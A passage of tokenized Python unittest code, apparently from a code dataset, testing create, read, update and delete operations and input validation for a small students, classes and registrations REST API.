"s", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "401_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "API_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "students_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "collection_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "'/", "api", "/", "v1", ".0", "/", "student", "s", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "json_", "[_", "'", "urls", "'_", "]_", "==_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", " ", "new_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "student", "s", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "'", "name", "'_", ":_", "'", "sus", "an", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "201_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sus", "an", "\\u", "url_", "=_", "rv_", "._", "headers_", "[_", "'", "Locat", "ion", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "sus", "an", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "json_", "[_", "'", "name", "'_", "]_", "==_", "'", "sus", "an", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "json_", "[_", "'", "url", "'_", "]_", "==_", "sus", "an", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", " ", "new_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "student", "s", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "'", "name", "'_", ":_", "'", "davi", "d", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "201_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "davi", "d\\u", "url_", "=_", "rv_", "._", "headers_", "[_", "'", "Locat", "ion", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "davi", "d\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "json_", "[_", "'", "name", "'_", "]_", "==_", "'", "davi", "d", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "json_", "[_", "'", "url", "'_", "]_", "==_", "davi", "d\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", " ", "bad", " ", "request_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "student", "s", "/'_", ",_", "data_", "=_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Validat", "ion", "Error_", ",_", "lambda_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "student", "s", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "'", "not", "-", "name", "'_", ":_", "'", "davi", "d", "'_", "}_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "modify_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "put_", "(_", "davi", "d\\u", "url_", ",_", "data_", "=_", "{_", "'", "name", "'_", ":_", "'", "davi", "d2", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "davi", "d\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "json_", "[_", "'", "name", "'_", "]_", "==_", "'", "davi", "d2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "collection_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "'/", "api", "/", "v1", ".0", "/", "student", "s", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "sus", "an", "\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "davi", "d\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "==_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "delete_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "delete_", "(_", "sus", "an", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "collection_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "'/", "api", "/", "v1", ".0", "/", "student", "s", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "sus", "an", "\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "davi", "d\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "==_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "API_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "classes_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "get", " ", "collection_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "'/", "api", "/", "v1", ".0", "/", "classe", "s", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "json_", "[_", "'", "urls", "'_", "]_", "==_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", " ", "new_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "classe", "s", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "'", "name", "'_", ":_", "'", "algebra", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "201_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "algebra", "\\u", "url_", "=_", "rv_", "._", "headers_", "[_", "'", "Locat", "ion", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "algebra", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "json_", "[_", "'", "name", "'_", "]_", "==_", "'", "algebra", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "json_", "[_", "'", "url", "'_", "]_", "==_", "algebra", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", " ", "new_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "classe", "s", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "'", "name", "'_", ":_", "'", "lit", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "201_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lit", "\\u", "url_", "=_", "rv_", "._", "headers_", "[_", "'", "Locat", "ion", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "lit", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "json_", "[_", "'", "name", "'_", "]_", "==_", "'", "lit", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "json_", "[_", "'", "url", "'_", "]_", "==_", "lit", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", " ", "bad_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "classe", "s", "/'_", ",_", "data_", "=_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Validat", "ion", "Error_", ",_", "lambda_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "classe", "s", "/'_", ",_", "data_", "=_", "{_", "'", "not", "-", "name", "'_", ":_", "'", "lit", "'_", "}_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "modify_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "put_", "(_", "lit", "\\u", "url_", ",_", "data_", "=_", "{_", "'", "name", "'_", ":_", "'", "lit", "2", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "lit", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "json_", "[_", "'", "name", "'_", "]_", "==_", "'", "lit", "2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "collection_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "'/", "api", "/", "v1", ".0", "/", "classe", "s", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "algebra", "\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "lit", "\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "==_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "delete_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "delete_", "(_", "lit", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "collection_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "'/", "api", "/", "v1", ".0", "/", "classe", "s", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "algebra", "\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "lit", "\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "==_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "API_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "registration", "s_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "create", " ", "new", " ", "students_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "student", "s", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "'", "name", "'_", ":_", "'", "sus", "an", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "201_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sus", "an", "\\u", "url_", "=_", "rv_", "._", "headers_", "[_", "'", "Locat", "ion", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "student", "s", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "'", "name", "'_", ":_", "'", "davi", "d", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "201_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "davi", "d\\u", "url_", "=_", "rv_", "._", "headers_", "[_", "'", "Locat", "ion", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", " ", "new", " ", "classes_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "classe", "s", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "'", "name", "'_", ":_", "'", "algebra", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "201_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "algebra", "\\u", "url_", "=_", "rv_", "._", "headers_", "[_", "'", "Locat", "ion", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "classe", "s", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "'", "name", "'_", ":_", "'", "lit", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "201_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lit", "\\u", "url_", "=_", "rv_", "._", "headers_", "[_", "'", "Locat", "ion", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "register", " ", "student", "s", " ", "to", " ", "classes_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "registration", "s", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "'", "student", "'_", ":_", "sus", "an", "\\u", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "class", "'_", ":_", "algebra", "\\u", "url_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "201_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sus", "an", "\\u", "in", "\\u", "algebra", "\\u", "url_", "=_", "rv_", "._", "headers_", "[_", "'", "Locat", "ion", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "registration", "s", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "'", "student", "'_", ":_", "sus", "an", "\\u", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "class", "'_", ":_", "lit", "\\u", "url_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "201_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sus", "an", "\\u", "in", "\\u", "lit", "\\u", "url_", "=_", "rv_", "._", "headers_", "[_", "'", "Locat", "ion", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "registration", "s", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "'", "student", "'_", ":_", "davi", "d\\u", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "class", "'_", ":_", "algebra", "\\u", "url_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "201_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "davi", "d\\u", "in", "\\u", "algebra", "\\u", "url_", "=_", "rv_", "._", "headers_", "[_", "'", "Locat", "ion", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "registration_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "sus", "an", "\\u", "in", "\\u", "lit", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "json_", "[_", "'", "student", "'_", "]_", "==_", "sus", "an", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "json_", "[_", "'", "class", "'_", "]_", "==_", "lit", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "collection_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "'/", "api", "/", "v1", ".0", "/", "registration", "s", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "sus", "an", "\\u", "in", "\\u", "algebra", "\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "sus", "an", "\\u", "in", "\\u", "lit", "\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "davi", "d\\u", "in", "\\u", "algebra", "\\u", "url_", "in_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "json_", "[_", "'", "urls", "'_", "]_", ")_", "==_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "bad", " ", "registration", "s_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "registration", "s", "/'_", ",_", "data_", "=_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Validat", "ion", "Error_", ",_", "lambda_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "registration", "s", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "'", "student", "'_", ":_", "davi", "d\\u", "url_", "}_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Validat", "ion", "Error_", ",_", "lambda_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "registration", "s", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "'", "class", "'_", ":_", "algebra", "\\u", "url_", "}_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Validat", "ion", "Error_", ",_", "lambda_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "registration", "s", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "'", "student", "'_", ":_", "davi", "d\\u", "url_", ",_", "'", "class", "'_", ":_", "'", "bad", "-", "url", "'_", "}_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Validat", "ion", "Error_", ",_", "lambda_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "client_", "._", "post_", "(_", "'/", "api", "/", "v1", ".0", "/", "registration", "s", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "{_", "'", "student", "'_", ":_", "davi", "d\\u", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "class", "'_", ":_", "algebra", "\\u", "url_", "+_", "'", "1", "'_", "}_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "session_", "._", "remove_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "classe", "s", " ", "from", " ", "each", " ", "student_", "\\u\\u\\uNL\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "sus", "an", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "rv_", "._", "status", "\\u", "code_", "==_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sus", "ans", "\\u", "reg", "\\u", "url_", "=_", "json_", "[_", "'", "registration", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rv_", ",_", "json_", "=_", "self_", "._", "client_", "._", "get_", "(_", "sus", "ans", "\\u", "reg", "\\u", 